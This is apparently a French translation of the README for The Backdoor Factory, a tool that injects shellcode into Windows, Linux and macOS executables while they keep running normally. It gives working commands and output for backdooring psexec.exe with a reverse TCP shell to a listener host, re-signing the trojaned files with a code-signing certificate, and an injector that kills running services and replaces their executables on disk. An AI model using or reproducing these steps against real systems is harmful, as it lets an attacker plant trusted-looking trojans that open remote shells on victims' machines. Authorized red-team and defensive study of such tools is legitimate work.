Patcher les binaires PE, ELF et Mach-O avec du shellcode — nouvelle version en développement, disponible uniquement pour les sponsors.
Pour les professionnels de la sécurité et les chercheurs uniquement.
L'objectif de BDF est de patcher les binaires exécutables avec le shellcode souhaité par l'utilisateur et de poursuivre l'exécution normale de l'état d'avant patch.
Black Hat USA 2015 :
Vidéo : https://www.youtube.com/watch?v=OuyLzkG16Uk
Paper : https://www.blackhat.com/docs/us-15/materials/us-15-Pitts-Repurposing-OnionDuke-A-Single-Case-Study-Around-Reusing-Nation-State-Malware-wp.pdf
Shmoocon 2015 :
Vidéo : https://archive.org/details/joshpitts_shmoocon2015
Paper : https://www.dropbox.com/s/te7e35c8xcnyfzb/JoshPitts-UserlandPersistenceOnMacOSX.pdf
DerbyCon 2014 :
Vidéo : http://www.youtube.com/watch?v=LjUN9MACaTs
DerbyCon 2013 :
Vidéo : http://www.youtube.com/watch?v=jXLb2RNX5xs
Démo du module d'injection : http://www.youtube.com/watch?v=04aJAex2o3U
Diapositives : http://www.slideshare.net/midnite_runr/patching-windows-executables-with-the-backdoor-factory
Contactez le développeur sur :
IRC :
irc.freenode.net #BDFactory
Twitter :
@midnite_runr
Sous licence BSD à 3 clauses
Voir le wiki : https://github.com/secretsquirrel/the-backdoor-factory/wiki
docker pull secretsquirrel/the-backdoor-factory
docker run -it secretsquirrel/the-backdoor-factory bash
# ./backdoor.py
###À L'ANCIENNE
####Dépendances #####Pour utiliser OnionDuke, vous DEVEZ être sur une machine Intel car aPLib ne prend pas encore en charge le chipset ARM.
Le moteur Capstone peut être installé depuis PyPi avec :
sudo pip install capstone
Pefile, version la plus récente :
https://code.google.com/p/pefile/
osslsigncode (inclus dans le dépôt) :
http://sourceforge.net/p/osslsigncode/osslsigncode/ci/master/tree/
Installation sous Kali :
apt-get update
apt-get install backdoor-factory
AUTRE INSTALLATION *NIX/MAC :
./install.sh
Ceci installera Capstone et utilisera pip pour installer pefile.
MISE À JOUR :
./update.sh
Prise en charge :
Windows PE x86/x64,ELF x86/x64 (System V, FreeBSD, ARM Little Endian x32),
et Mach-O x86/x64 et ces formats dans les fichiers FAT
Fichiers packés : PE UPX x86/x64
Expérimental : OpenBSD x32
Certains exécutables disposent de protections intégrées ; de ce fait, cela ne fonctionnera pas sur tous les binaires. Il est conseillé de tester les binaires cibles avant de les déployer chez des clients ou de les utiliser dans des exercices. Je suis sur le point de contourner NSIS, le contournement de ces protections sera donc inclus à l'avenir.
Un grand merci à Ryan O'Neill --ryan 'at' codeslum <d ot> org--
Sans lui, j'essaierais encore de faire des choses stupides
avec le format elf.
Merci également à Silvio Cesare pour son article de 1998
(http://vxheaven.org/lib/vsc01.html) sur lequel ces techniques
de patch ELF sont basées.
./backdoor.py -h Usage: backdoor.py [options]
##Fonctionnalités :
###Fichiers PE
Peut trouver toutes les codecaves dans un EXE/DLL.
Par défaut, efface le pointeur vers la table des certificats PE, retirant ainsi la signature du binaire.
Peut injecter un shellcode dans des code caves ou dans une nouvelle section.
Peut détecter si un binaire PE nécessite de s'exécuter avec des privilèges élevés.
Lors de la sélection des code caves, vous pouvez utiliser les commandes suivantes :
-Jump (j), pour le saut de code cave
-Single (s), pour patcher tout votre shellcode dans une seule cave
-Append (a), pour créer une code cave
-Ignore (i ou q), peu importe, ignorer ce binaire
Peut ignorer les DLL
Patch de la table d'imports
AutoPatching (-m automtic)
Onionduke (-m onionduke)
###Fichiers ELF
Étend le SEGMENT TEXT de 1000 octets (en octets) et injecte le shellcode dans cette section de code.
###Fichiers Mach-O Patch de la section Pre-Text et suppression de la signature
###Vue d'ensemble
L'utilisateur peut :
-Fournir un shellcode personnalisé.
-Patcher un répertoire d'exécutables/DLL.
-Sélectionner uniquement les binaires x32 ou x64 à patcher.
-Inclure BDF dans d'autres projets Python, voir pebin.py et elfbin.py
###Patcher un exe/dll à l'aide d'une code cave existante :
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 402
[*] All caves lengths: (402,)
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 402
[*] Available caves:
1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e4d5 End: 0x2e6d0; Cave Size: 507
2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e6e9 End: 0x2e8d5; Cave Size: 492
3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e8e3 End: 0x2ead8; Cave Size: 501
4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eaf1 End: 0x2ecdd; Cave Size: 492
5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2ece7 End: 0x2eee0; Cave Size: 505
6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eef3 End: 0x2f0e5; Cave Size: 498
7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f0fb End: 0x2f2ea; Cave Size: 495
8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f2ff End: 0x2f4f8; Cave Size: 505
9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f571 End: 0x2f7a0; Cave Size: 559
10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Cave begin: 0x5b239 End: 0x5b468; Cave Size: 559
**************************************************
[!] Enter your selection: 5
Using selection: 5
[*] Changing Section Flags
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory
###Patcher un exe/dll en ajoutant une section de code :
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Creating Code Cave
- Adding a new section to the exe/dll for shellcode injection
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory
###Patcher un répertoire d'exes : ./backdoor.py -d test/ -i 192.168.0.100 -p 8080 -s reverse_shell_tcp -a ...output too long for README...
###Shellcode fourni par l'utilisateur : msfpayload windows/exec CMD='calc.exe' R > calc.bin ./backdoor.py -f psexec.exe -s user_supplied_shellcode -U calc.bin Cela fera apparaître calc.exe sur une station de travail Windows cible. So 1337. Much pwn. Wow.
###Signature de code PE
BDF peut signer les fichiers PE si vous disposez d'un certificat de signature de code. Il utilise osslsigncode. Placez votre certificat de signature et votre clé privée dans le répertoire certs/. Préparez vos certificats à l'aide des commandes openssl de cet article de blog : http://secureallthethings.blogspot.com/2015/12/add-pe-code-signing-to-backdoor-factory.html
Placez le mot de passe de votre clé privée dans un fichier (horreur !) comme ceci (exactement comme ceci) :
echo -n yourpassword > certs/passFile.txt
Nommez vos certificats EXACTEMENT comme suit :
signingCert.cer => certs/signingCert.cer
signingPrivateKey.pem => certs/signingPrivateKey.pem
Votre répertoire certs/ doit ressembler exactement à ceci :
certs
├── passFile.txt
├── signingPrivateKey.pem
└── signingCert.cer
Activez la signature de code PE avec le flag -C comme ceci :
./backdoor.py -f tcpview.exe -s iat_reverse_tcp_inline -H 172.16.186.1 -P 8080 -m automatic -C
En cas d'exécution réussie, vous devriez voir cette ligne dans la sortie de BDF :
[*] Code Signing Succeeded
###Chasse et backdoor : Injector | Windows uniquement
Le module injector recherchera les exécutables cibles à backdoorer sur le disque. Il vérifiera si vous avez identifié la cible comme étant un service, vérifiera si le processus est en cours d'exécution, tuera le processus et/ou le service, injectera le shellcode dans l'exécutable, enregistrera le fichier d'origine sous file.exe.old ou sous un autre suffixe de votre choix, puis tentera de redémarrer le processus ou le service.
Modifiez le dictionnaire Python "list_of_targets" dans le module 'injector' pour choisir vos cibles.
./backdoor.py -i -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a -u .moocowwow
###Changelog
####01/11/2016
####07/04/2016
####06/19/2016
####12/20/2015
####12/18/2015
####11/17/2015
####11/13/2015
####10/19/2015
####10/13/2015
####08/12/2015
Ajout de la PATCH_METHOD 'replace' - une simple copie PE du binaire fourni
Plutôt destiné à une utilisation avec BDFProxy
Usage: ./backdoor.py -f weee.exe -m replace -b supplied_binary.exe
####08/11/2015
####08/05/2015
####5/01/2015
####4/28/2015
####4/14/2015
Tant de mises à jour :
Patch automatique pour les fichiers PE (utilisez -m automatic avec un payload *_threaded)
Nouveaux payloads IAT pour les fichiers PE x86/x64
Regardez simplement : https://www.youtube.com/watch?v=kkLI_ur6BxY
####2/14/2015 Je vous aime les gars <3
Ajout du patch de la table d'adresses d'imports (IAT) pour les PE afin de prendre en charge les payloads iat_reverse_tcp qui utilisent la table d'imports pour les appels API Windows. Si le binaire que vous patchez ne possède pas LoadLibraryA et GetProcAddress, par exemple, BDF les patchera dans une nouvelle table d'imports dans une nouvelle section. Prend en charge les PE x64/x86.
Ajout d'iat_reverse_tcp pour les PE x64.
Corrections de bugs et améliorations
####1/1/2015
Bonne année !
Deux nouveaux payloads OS X ! Le délai : delay_reverse_shell_tcp
-B 30 --> retarde le payload de 30 secondes, le code principal s'exécute immédiatement.
Fixation d'un commit capstone stable pour l'intégration dans BDF, le dépôt capstone 'Next' casse BDF.
Correctifs pour gérer le problème de troncature des octets nuls de l'implémentation capstone en cython.
####12/27/2014
Ajout de payloadtests.py
Ce script générera des fichiers patchés dans backdoored qui permettront à l'utilisateur de tester les payloads comme il le souhaite. Chaque type de payload incrémente le port utilisé d'une unité.
Usage: payloadtest.py binary HOST PORT
####12/17/2014
Payloads de balisage (beaconing) OS X pour x86 et x64 : beaconing_reverse_shell_tcp
-B 15 --> définit le temps de balisage à 15 secondes
Correction de bug pour la prise en charge d'OS X pour BDFProxy
####10/11/2014
Patch PE UPX ajouté
####9/26/2014
Ajout de Mach-O x86/x64
Optimisation du payload IAT x86
####7/31/2014
Ajout de la prise en charge du patch ELF ARM x32 LE
####7/22/2014
Ajout de la prise en charge du patch ELF FreeBSD x32
Passage à la licence BSD à 3 clauses
####7/13/2014
Intégration de Capstone : http://www.capstone-engine.org/
Au cours du processus d'ajout de Capstone, j'ai supprimé environ 500 lignes de code. C'est plutôt génial.
Renommage de loadliba_reverse_tcp en iat_reverse_tcp.
Petites optimisations pour la vitesse.
####5/30/2014
Ajout d'un nouveau shellcode win86 : loadliba_reverse_tcp